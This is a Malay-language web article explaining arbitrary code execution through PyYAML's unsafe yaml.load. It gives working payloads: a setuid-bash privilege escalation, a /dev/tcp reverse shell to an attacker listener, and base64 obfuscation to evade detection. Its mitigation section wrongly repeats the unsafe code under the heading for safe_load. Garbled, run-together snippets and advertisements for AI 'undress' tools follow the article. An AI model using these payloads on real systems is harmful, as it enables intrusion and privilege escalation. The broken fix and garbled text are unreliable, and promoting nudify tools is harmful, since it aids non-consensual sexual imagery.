


Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan
Pustaka YAML (YAML Ain't Markup Language) dalam Python telah dikenal pasti mempunyai kelemahan yang membenarkan pelaksanaan arahan sewenang-wenangnya dalam keadaan tertentu. Kerentanan timbul daripada penggunaan fungsi yaml.load tanpa menyatakan pemuat selamat. Secara lalai, yaml.load boleh melaksanakan objek Python sewenang-wenangnya, yang mencipta permukaan serangan untuk muatan berniat jahat.
Eksploitasi melalui Pelaksanaan Arahan Arbitrari
Risiko asas terletak pada proses penyahserikatan. Apabila dokumen YAML mengandungi muatan berniat jahat, yaml.load memproses arahan terbenam, yang berpotensi membawa kepada pelaksanaan kod. Sebagai contoh, pertimbangkan coretan berikut:
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
Di sini, fungsi yaml.load menghuraikan example.yml tanpa sekatan, menjadikannya terdedah jika kandungan YAML termasuk arahan yang tidak selamat. Muatan eksploitasi biasa boleh dibuat untuk melaksanakan arahan sistem sewenang-wenangnya.
Contoh Muatan
import yaml from yaml import Loader, UnsafeLoader # Malicious payload payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]' # Exploitation yaml.load(payload) yaml.load(payload, Loader=Loader) yaml.load(payload, Loader=UnsafeLoader)
Setiap seruan ini memproses muatan, menghasilkan penciptaan boleh laku istimewa dalam /tmp/bash. Perduaan ini kemudiannya boleh dilaksanakan dengan keistimewaan yang tinggi:
/tmp/bash -p
Ini menunjukkan potensi peningkatan keistimewaan jika kelemahan dieksploitasi pada sistem dengan kebenaran tersalah konfigurasi atau kelemahan lain.
Eksploitasi Shell Terbalik
Kes penggunaan yang sangat berbahaya adalah memanfaatkan kelemahan untuk cangkerang terbalik. Ini membolehkan penyerang mendapat akses jauh ke mesin sasaran. Proses ini melibatkan memulakan pendengar pada mesin penyerang dan mencipta dokumen YAML yang direka bentuk untuk mewujudkan sambungan terbalik.
Pada mesin penyerang, mulakan pendengar Netcat:
nc -lvnp 1234
Pada sistem sasaran, laksanakan skrip Python berikut sebagai akar:
import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]' yaml.load(data) # Executes the reverse shell
Muatan muatan ini mengarahkan mesin sasaran untuk menyambung kembali kepada pendengar penyerang, menyediakan cangkerang interaktif sepenuhnya dengan keistimewaan proses pelaksanaan.
Pengekodan Base64 untuk Obfuscation
Untuk memintas kawalan atau penapis keselamatan asas, muatan boleh dikodkan Base64. Kaedah ini menambahkan lapisan pengeliruan, yang berpotensi mengelak pengesanan oleh alat analisis statik.
Contoh
from base64 import b64decode import yaml # Base64-encoded payload encoded_payload = b"ISFweXRa...YXNoIl0=" # Truncated for brevity payload = b64decode(encoded_payload) # Execute the payload yaml.load(payload)
Teknik Tebatan
Para profesional mesti mengamalkan amalan pengekodan yang ketat untuk menghapuskan kelemahan tersebut. Mitigasi yang disyorkan termasuk:
-
Menggunakan Pemuat Selamat: Gantikan yaml.load dengan yaml.safe_load, yang menghalang pelaksanaan objek sewenang-wenangnya.
import yaml filename = "example.yml" data = open(filename, 'r').read() yaml.load(data) # Unsafe usage
Menghadkan Sumber Input: Pastikan input YAML dibersihkan dan hanya berasal daripada sumber yang dipercayai.
Menggunakan Analisis Statik: Gunakan alatan untuk mengimbas pangkalan kod untuk seruan yaml.load yang tidak selamat.
Pengerasan Alam Sekitar: Hadkan kebenaran sistem untuk meminimumkan kesan eksploitasi. Contohnya, menggunakan persekitaran kontena mengehadkan keupayaan penyerang untuk meningkatkan keistimewaan.
Tingkah laku lalai pustaka YAML menunjukkan risiko yang berkaitan dengan penyahserikatan dalam bahasa yang ditaip secara dinamik seperti Python. Mengeksploitasi kelemahan ini memerlukan kecanggihan yang minimum, menjadikannya isu keutamaan tinggi untuk pembangunan aplikasi yang selamat. Mengguna pakai amalan pengekodan selamat, bersama-sama dengan pengesahan input yang mantap dan perlindungan masa jalan, adalah penting untuk mengurangkan risiko ini dengan berkesan.
Atas ialah kandungan terperinci Berhati-hati Apabila Menggunakan YAML dalam Python! Mungkin Terdapat Kerentanan Keselamatan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Arraysinpython, terutamanya yang, arecrucialinscientificificputingputingfortheirefficiencyandversatility.1) mereka yang digunakan untuk

Anda boleh menguruskan versi python yang berbeza dengan menggunakan Pyenv, Venv dan Anaconda. 1) Gunakan pyenv untuk menguruskan pelbagai versi python: Pasang pyenv, tetapkan versi global dan tempatan. 2) Gunakan VENV untuk mewujudkan persekitaran maya untuk mengasingkan kebergantungan projek. 3) Gunakan Anaconda untuk menguruskan versi python dalam projek sains data anda. 4) Simpan sistem python untuk tugas peringkat sistem. Melalui alat dan strategi ini, anda dapat menguruskan versi Python yang berbeza untuk memastikan projek yang lancar.

Numpyarrayshaveseveraladvantagesoverstanderardpythonarrays: 1) thearemuchfasterduetoc-assedimplementation, 2) thearemorememory-efficient, antyedlargedataSets, and3) theyofferoptimized, vectorizedfuncionsformathhematicalicalicalicialisation

Kesan homogenitas tatasusunan pada prestasi adalah dwi: 1) homogenitas membolehkan pengkompil untuk mengoptimumkan akses memori dan meningkatkan prestasi; 2) tetapi mengehadkan kepelbagaian jenis, yang boleh menyebabkan ketidakcekapan. Singkatnya, memilih struktur data yang betul adalah penting.

ToCraftExecutablePythonscripts, ikutiTheseBestPractics: 1) addAshebangline (#!/Usr/bin/envpython3) tomakethescriptexecutable.2) setpermissionswithchmod xyour_script.py.3)

Numpyarraysarebetterfornumericationsoperationsandmulti-dimensialdata, whiletheArrayModuleissuitiableforbasic, ingatan-efisienArrays.1) numpyexcelsinperformanceandfunctionalityforlargedatasetsandcomplexoperations.2) thearrayModeMoremoremory-efficientModeMoremoremoremory-efficientModeMoremoremoremory-efficenceismemoremoremoremoremoremoremoremory-efficenceismemoremoremoremoremorem

NumpyarraysareBetterforheavynumericalcomputing, whilethearraymoduleismoresuitifFormemory-constrainedprojectswithsimpledatypes.1) numpyarraysofferversativilityandperformanceForlargedATAsetSandcomplexoperations.2)

ctypesallowscreatingandmanipulatingc-stylearraysinpython.1) usectypestointerwithclibrariesforperformance.2) createec-stylearraysfornumericalcomputations.3) Passarraystocfuntionsforficientsoperations.however, becautiousofmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmemmem


Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

SecLists
SecLists ialah rakan penguji keselamatan muktamad. Ia ialah koleksi pelbagai jenis senarai yang kerap digunakan semasa penilaian keselamatan, semuanya di satu tempat. SecLists membantu menjadikan ujian keselamatan lebih cekap dan produktif dengan menyediakan semua senarai yang mungkin diperlukan oleh penguji keselamatan dengan mudah. Jenis senarai termasuk nama pengguna, kata laluan, URL, muatan kabur, corak data sensitif, cangkerang web dan banyak lagi. Penguji hanya boleh menarik repositori ini ke mesin ujian baharu dan dia akan mempunyai akses kepada setiap jenis senarai yang dia perlukan.

SublimeText3 Linux versi baharu
SublimeText3 Linux versi terkini

DVWA
Damn Vulnerable Web App (DVWA) ialah aplikasi web PHP/MySQL yang sangat terdedah. Matlamat utamanya adalah untuk menjadi bantuan bagi profesional keselamatan untuk menguji kemahiran dan alatan mereka dalam persekitaran undang-undang, untuk membantu pembangun web lebih memahami proses mengamankan aplikasi web, dan untuk membantu guru/pelajar mengajar/belajar dalam persekitaran bilik darjah Aplikasi web keselamatan. Matlamat DVWA adalah untuk mempraktikkan beberapa kelemahan web yang paling biasa melalui antara muka yang mudah dan mudah, dengan pelbagai tahap kesukaran. Sila ambil perhatian bahawa perisian ini

ZendStudio 13.5.1 Mac
Persekitaran pembangunan bersepadu PHP yang berkuasa

Pelayar Peperiksaan Selamat
Pelayar Peperiksaan Selamat ialah persekitaran pelayar selamat untuk mengambil peperiksaan dalam talian dengan selamat. Perisian ini menukar mana-mana komputer menjadi stesen kerja yang selamat. Ia mengawal akses kepada mana-mana utiliti dan menghalang pelajar daripada menggunakan sumber yang tidak dibenarkan.
